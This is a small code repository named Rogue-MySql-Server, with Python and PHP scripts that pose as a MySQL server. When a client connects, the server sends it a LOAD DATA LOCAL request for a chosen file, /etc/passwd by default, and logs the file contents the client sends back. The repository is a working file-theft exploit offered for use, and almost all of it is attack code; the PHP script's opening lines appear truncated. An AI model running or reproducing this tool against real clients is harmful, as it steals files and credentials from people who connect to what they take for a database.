├── .gitignore ├── LICENSE ├── README.md ├── rogue_mysql_server.py └── roguemysql.php /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | 21 | # Installer logs 22 | pip-log.txt 23 | 24 | # Unit test / coverage reports 25 | .coverage 26 | .tox 27 | nosetests.xml 28 | 29 | # Translations 30 | *.mo 31 | 32 | # Mr Developer 33 | .mr.developer.cfg 34 | .project 35 | .pydevproject 36 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013, Gifts 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | Redistributions in binary form must reproduce the above copyright notice, this 11 | list of conditions and the following disclaimer in the documentation and/or 12 | other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 21 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Rogue-MySql-Server 2 | ================== 3 | 4 | Edit script and change file to read and server port if you want. Run script and connect to your server for read file from client side. 5 | Read mysql.log for readed file content. 6 | -------------------------------------------------------------------------------- /rogue_mysql_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding: utf8 3 | 4 | 5 | import socket 6 | import asyncore 7 | import asynchat 8 | import struct 9 | import random 10 | import logging 11 | import logging.handlers 12 | 13 | 14 | 15 | PORT = 3306 16 | 17 | log = logging.getLogger(__name__) 18 | 19 | log.setLevel(logging.INFO) 20 | tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') 21 | tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s")) 22 | log.addHandler( 23 | tmp_format 24 | ) 25 | 26 | filelist = ( 27 | '/etc/passwd', 28 | ) 29 | 30 | 31 | #================================================ 32 | #=======No need to change after this lines======= 33 | #================================================ 34 | 35 | __author__ = 'Gifts' 36 | 37 | def daemonize(): 38 | import os, warnings 39 | if os.name != 'posix': 40 | warnings.warn('Cant create daemon on non-posix system') 41 | return 42 | 43 | if os.fork(): os._exit(0) 44 | os.setsid() 45 | if os.fork(): os._exit(0) 46 | os.umask(0o022) 47 | null=os.open('/dev/null', os.O_RDWR) 48 | for i in xrange(3): 49 | try: 50 | os.dup2(null, i) 51 | except OSError as e: 52 | if e.errno != 9: raise 53 | os.close(null) 54 | 55 | 56 | class LastPacket(Exception): 57 | pass 58 | 59 | 60 | class OutOfOrder(Exception): 61 | pass 62 | 63 | 64 | class mysql_packet(object): 65 | packet_header = struct.Struct('> 16, 0, self.packet_num) 80 | 81 | result = "{0}{1}".format( 82 | header, 83 | self.payload 84 | ) 85 | return result 86 | 87 | def __repr__(self): 88 | return repr(str(self)) 89 | 90 | @staticmethod 91 | def parse(raw_data): 92 | packet_num = ord(raw_data[0]) 93 | payload = raw_data[1:] 94 | 95 | return mysql_packet(packet_num, payload) 96 | 97 | 98 | class http_request_handler(asynchat.async_chat): 99 | 100 | def __init__(self, addr): 101 | asynchat.async_chat.__init__(self, sock=addr[0]) 102 | self.addr = addr[1] 103 | self.ibuffer = [] 104 | self.set_terminator(3) 105 | self.state = 'LEN' 106 | self.sub_state = 'Auth' 107 | self.logined = False 108 | self.push( 109 | mysql_packet( 110 | 0, 111 | "".join(( 112 | '\x0a', # Protocol 113 | '5.6.28-0ubuntu0.14.04.1' + '\0', 114 | '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00', 115 | )) ) 116 | ) 117 | 118 | self.order = 1 119 | self.states = ['LOGIN', 'CAPS', 'ANY'] 120 | 121 | def push(self, data): 122 | log.debug('Pushed: %r', data) 123 | data = str(data) 124 | asynchat.async_chat.push(self, data) 125 | 126 | def collect_incoming_data(self, data): 127 | log.debug('Data recved: %r', data) 128 | self.ibuffer.append(data) 129 | 130 | def found_terminator(self): 131 | data = "".join(self.ibuffer) 132 | self.ibuffer = [] 133 | 134 | if self.state == 'LEN': 135 | len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 136 | if len_bytes < 65536: 137 | self.set_terminator(len_bytes) 138 | self.state = 'Data' 139 | else: 140 | self.state = 'MoreLength' 141 | elif self.state == 'MoreLength': 142 | if data[0] != '\0': 143 | self.push(None) 144 | self.close_when_done() 145 | else: 146 | self.state = 'Data' 147 | elif self.state == 'Data': 148 | packet = mysql_packet.parse(data) 149 | try: 150 | if self.order != packet.packet_num: 151 | raise OutOfOrder() 152 | else: 153 | # Fix ? 154 | self.order = packet.packet_num + 2 155 | if packet.packet_num == 0: 156 | if packet.payload[0] == '\x03': 157 | log.info('Query') 158 | 159 | filename = random.choice(filelist) 160 | PACKET = mysql_packet( 161 | packet, 162 | '\xFB{0}'.format(filename) 163 | ) 164 | self.set_terminator(3) 165 | self.state = 'LEN' 166 | self.sub_state = 'File' 167 | self.push(PACKET) 168 | elif packet.payload[0] == '\x1b': 169 | log.info('SelectDB') 170 | self.push(mysql_packet( 171 | packet, 172 | '\xfe\x00\x00\x02\x00' 173 | )) 174 | raise LastPacket() 175 | elif packet.payload[0] in '\x02': 176 | self.push(mysql_packet( 177 | packet, '\0\0\0\x02\0\0\0' 178 | )) 179 | raise LastPacket() 180 | elif packet.payload == '\x00\x01': 181 | self.push(None) 182 | self.close_when_done() 183 | else: 184 | raise ValueError() 185 | else: 186 | if self.sub_state == 'File': 187 | log.info('-- result') 188 | log.info('Result: %r', data) 189 | 190 | if len(data) == 1: 191 | self.push( 192 | mysql_packet(packet, '\0\0\0\x02\0\0\0') 193 | ) 194 | raise LastPacket() 195 | else: 196 | self.set_terminator(3) 197 | self.state = 'LEN' 198 | self.order = packet.packet_num + 1 199 | 200 | elif self.sub_state == 'Auth': 201 | self.push(mysql_packet( 202 | packet, '\0\0\0\x02\0\0\0' 203 | )) 204 | raise LastPacket() 205 | else: 206 | log.info('-- else') 207 | raise ValueError('Unknown packet') 208 | except LastPacket: 209 | log.info('Last packet') 210 | self.state = 'LEN' 211 | self.sub_state = None 212 | self.order = 0 213 | self.set_terminator(3) 214 | except OutOfOrder: 215 | log.warning('Out of order') 216 | self.push(None) 217 | self.close_when_done() 218 | else: 219 | log.error('Unknown state') 220 | self.push('None') 221 | self.close_when_done() 222 | 223 | 224 | class mysql_listener(asyncore.dispatcher): 225 | def __init__(self, sock=None): 226 | asyncore.dispatcher.__init__(self, sock) 227 | 228 | if not sock: 229 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 230 | self.set_reuse_addr() 231 | try: 232 | self.bind(('', PORT)) 233 | except socket.error: 234 | exit() 235 | 236 | self.listen(5) 237 | 238 | def handle_accept(self): 239 | pair = self.accept() 240 | 241 | if pair is not None: 242 | log.info('Conn from: %r', pair[1]) 243 | tmp = http_request_handler(pair) 244 | 245 | 246 | z = mysql_listener() 247 | # daemonize() 248 | asyncore.loop() 249 | -------------------------------------------------------------------------------- /roguemysql.php: -------------------------------------------------------------------------------- 1 | "; 10 | $newFilename = rtrim(fgets(STDIN), "\r\n"); 11 | if (!empty($newFilename)) { 12 | $filename = $newFilename; 13 | } 14 | 15 | echo "[.] Waiting for connection on 0.0.0.0:3306\n"; 16 | $s = stream_socket_accept($srv, -1, $peer); 17 | echo "[+] Connection from $peer - greet... "; 18 | fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 19 | 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 20 | 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 21 | 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 22 | 47 77 43 2a 43 56 63 72 00 ')); 23 | fread($s, 8192); 24 | echo "auth ok... "; 25 | fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00')); 26 | fread($s, 8192); 27 | echo "some shit ok... "; 28 | fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00')); 29 | fread($s, 8192); 30 | echo "want file... "; 31 | fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename); 32 | stream_socket_shutdown($s, STREAM_SHUT_WR); 33 | echo "\n"; 34 | 35 | echo "[+] $filename from $peer:\n"; 36 | 37 | $len = fread($s, 4); 38 | if(!empty($len)) { 39 | list (, $len) = unpack("V", $len); 40 | $len &= 0xffffff; 41 | while ($len > 0) { 42 | $chunk = fread($s, $len); 43 | $len -= strlen($chunk); 44 | echo $chunk; 45 | } 46 | } 47 | 48 | echo "\n\n"; 49 | fclose($s); 50 | } 51 | --------------------------------------------------------------------------------